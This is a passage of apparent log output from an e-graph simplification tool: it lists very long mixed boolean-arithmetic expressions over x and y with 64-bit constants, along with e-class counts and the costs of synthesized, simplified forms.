(((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*0xf181638000000000)*(y*y))*((~x)^y)))+((((x|y)*0xf181638000000000)*(y*y))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x|y)*0xf181638000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x|y)*0xaf7f898000000000)*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*0xb5210aa000000000)*(y*y))*((~x)^y)))+((((x*y)*0xb5210aa000000000)*(y*y))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x*y)*0xb5210aa000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x*y)*0xc39fa72000000000)*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(x&(~y)))*((x&y)*(x&y))))+(((y^x)*0xd7bfc4c000000000)*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*0x820278b000000000))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(x&(~y))))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+((((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((y*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((y*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((((~x)^y)*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y)))+((((x&(~y))*(x&(~y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((x&(~y))*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 8059
Synthesized (cost = 3700): (((((x&y)*(x&y))*((((x&(~y))*0xf7f61d4000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0xc0ed42000000000)))+((((((x&y)*(x&y))*(((((~x)^y)*0xf7f61d4000000000)*(x&y))+((((~x)^y)*0x181da84000000000)*(x&(~y)))))+(((((x&y)*((((((~x)^y)*((~x)^y))*0xc0ed42000000000)*(x&y))+(((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))))+((((((((x&y)*(x&y))*(((y*0xf7f61d4000000000)*(x&y))+((y*0x181da84000000000)*(x&(~y)))))+(((((x&y)*((((y*0x181da84000000000)*((~x)^y))*(x&y))+(((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x&(~y)))))+(((((((((y*(y*y))*0x809e2c000000000)*((~y)+(x&y)))+(((((x&y)*(x&y))*((((y^x)*0xd7bfc4c000000000)*(x&y))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))+(((((x&y)*(((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&y))+((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((y^x)*0x78c0b1c000000000)*y)*(x&y))+((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))))+((((((((((y^x)*0x78c0b1c000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x*y)*0xc39fa72000000000)*(x&y))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))+(((((x&y)*(((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&y))+((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((x*y)*0xb5210aa000000000)*y)*(x&y))+((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))))+((((((((((x*y)*0xb5210aa000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x|y)*0xaf7f898000000000)*(x&y))+(((x|y)*0xf181638000000000)*(x&(~y)))))+(((((x&y)*(((((x|y)*0xf181638000000000)*((~x)^y))*(x&y))+((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((x|y)*0xf181638000000000)*y)*(x&y))+((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))))+((((((((((x|y)*0xf181638000000000)*(y*y))*((~y)+(x&y)))+((((x&y)*(((((y^x)*(y^x))*0x6b02c22000000000)*(x&y))+((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))))+(((((((((((y^x)*(y^x))*0xd605844000000000)*y)*((~y)+(x&y)))+((((x&y)*(((((x*y)*0x4108466000000000)*(y^x))*(x&y))+((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))))+(((((((((((x*y)*0x82108cc000000000)*(y^x))*y)*((~y)+(x&y)))+((((x&y)*(((((x*y)*(x*y))*0xb0c634c800000000)*(x&y))+((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))))+(((((((((((x*y)*(x*y))*0x618c699000000000)*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*0xac0b088000000000)*(y^x))*(x&y))+((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))))+(((((((((((x|y)*0x5816110000000000)*(y^x))*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*0x82108cc000000000)*(x*y))*(x&y))+((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))))+(((((((((((x|y)*0x421198000000000)*(x*y))*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*(x|y))*0xac0b088000000000)*(x&y))+((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))))+(((((((((((x|y)*(x|y))*0x5816110000000000)*y)*((~y)+(x&y)))+(((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)+((((x&y)*((((x&(~y))*0xeec0339000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0x113fcc7000000000)))+((((x&y)*(((((~x)^y)*0xeec0339000000000)*(x&y))+((((~x)^y)*0x227f98e000000000)*(x&(~y)))))+(((((((x&y)*(((y*0xeec0339000000000)*(x&y))+((y*0x227f98e000000000)*(x&(~y)))))+(((((((((y*y)*0xeec0339000000000)*((~y)+(x&y)))+((((x&y)*((((y^x)*0x5a353ef000000000)*(x&y))+(((y^x)*0x4b95822000000000)*(x&(~y)))))+((((((((((y^x)*0xb46a7de000000000)*y)*((~y)+(x&y)))+((((x&y)*((((x*y)*0x874fde6800000000)*(x&y))+(((x*y)*0xf160433000000000)*(x&(~y)))))+((((((((((x*y)*0xe9fbcd000000000)*y)*((~y)+(x&y)))+((((x&y)*((((x|y)*0xb46a7de000000000)*(x&y))+(((x|y)*0x972b044000000000)*(x&(~y)))))+((((((((((x|y)*0x68d4fbc000000000)*y)*((~y)+(x&y)))+(((((y^x)*(y^x))*0x70402d7000000000)+((((x*y)*0x50c0885000000000)*(y^x))+((((x*y)*(x*y))*0xbc90663c00000000)+((((x|y)*0xc100b5c000000000)*(y^x))+((((x|y)*0xa18110a000000000)*(x*y))+((((x|y)*(x|y))*0xc100b5c000000000)+((((((((((y*0x666f84b000000000)*((~y)+(x&y)))+((((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*((((x*y)*0x3e5f50a000000000)*(y^x))+(((x*y)*(x*y))*0xdd8ef8f000000000)))+((((y^x)*((((x|y)*0xfdd46b8000000000)*(y^x))+(((x|y)*0xf97d428000000000)*(x*y))))+(((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))))))+((y*y)*0x3337c25800000000)))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))))))))+(((x|y)*0xb46a7de000000000)*(y*y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y))))))+(((x*y)*0x874fde6800000000)*(y*y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y))))))+(((y^x)*0x5a353ef000000000)*(y*y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y))))))+((y*(y*y))*0xfa40113000000000)))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y))))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y))))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000)))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))))))))))))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y))))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y))))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y))))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y))))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*(y*(y*y)))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((x*y)*0x3c6058e000000000)*(y*(y*y)))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y))))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y))))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y))))+((y*(y*(y*y)))*0x820278b000000000)))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y))))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y))))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 32490
Synthesized (cost = 3052): ((((x&y)*(x&y))*((0x820278b000000000*((x&y)*(x&y)))+((((x&(~y))*0xf7f61d4000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0xc0ed42000000000))))+((((x&(~y))*((x&(~y))*(x&(~y))))*(((x&y)*0xf7f61d4000000000)+(0x820278b000000000*(x&(~y)))))+((((x&y)*(x&y))*(((((~x)^y)*0xf7f61d4000000000)*(x&y))+((((~x)^y)*0x181da84000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*(((~x)^y)*0xe7e257c000000000))+((((~x)^y)*0x809e2c000000000)*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xc0ed42000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((x&y)*((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*(((x&(~y))*0x809e2c000000000)+(0x820278b000000000*((~x)^y))))+((((x&y)*(x&y))*(((y*0xf7f61d4000000000)*(x&y))+((y*0x181da84000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*(y*0xe7e257c000000000))+((y*0x809e2c000000000)*(x&(~y)))))+(((x&y)*((((y*0x181da84000000000)*((~x)^y))*(x&y))+(((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))))+(((((y*0x181da84000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*(y*0xe7e257c000000000))+((y*0x809e2c000000000)*((~x)^y))))+((((y*y)*0xc0ed42000000000)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*((y*y)*0x181da84000000000))+(((y*y)*0xc0ed42000000000)*((~x)^y))))+(((y*(y*y))*(((x&y)*0xf7f61d4000000000)+((x&(~y))*0x809e2c000000000)))+(((y*(y*y))*((((~x)^y)*0x809e2c000000000)+(0x820278b000000000*y)))+((((x&y)*(x&y))*((((y^x)*0xd7bfc4c000000000)*(x&y))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((y^x)*0x873f4e4000000000))+(((y^x)*0x28403b4000000000)*(x&(~y)))))+(((x&y)*(((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&y))+((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))))+((((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((y^x)*0x873f4e4000000000))+(((y^x)*0x28403b4000000000)*((~x)^y))))+(((((y^x)*0x78c0b1c000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((y^x)*0xf181638000000000)*y))+((((y^x)*0x78c0b1c000000000)*y)*((~x)^y))))+((((((y^x)*0x78c0b1c000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x*y)*0xc39fa72000000000)*(x&y))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((x*y)*0x4adef56000000000))+(((x*y)*0x3c6058e000000000)*(x&(~y)))))+(((x&y)*(((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&y))+((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))))+((((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((x*y)*0x4adef56000000000))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((((x*y)*0xb5210aa000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*((x&y)*((~y)+(x&y))))+((((~x)^y)*(((x&(~y))*(((x*y)*0x6a42154000000000)*y))+((((x*y)*0xb5210aa000000000)*y)*((~x)^y))))+((((((x*y)*0xb5210aa000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x|y)*0xaf7f898000000000)*(x&y))+(((x|y)*0xf181638000000000)*(x&(~y)))))+((((x&(~y))*(x&(~y)))*(((x&y)*((x|y)*0xe7e9c8000000000))+(((x|y)*0x5080768000000000)*(x&(~y)))))+(((x&y)*(((((x|y)*0xf181638000000000)*((~x)^y))*(x&y))+((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))))+((((((x|y)*0xf181638000000000)*((~x)^y))*(x&(~y)))*((~y)+(x&y)))+(((((~x)^y)*((~x)^y))*(((x&y)*((x|y)*0xe7e9c8000000000))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((((x|y)*0xf181638000000000)*y)*(((x&y)*(x&y))+((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000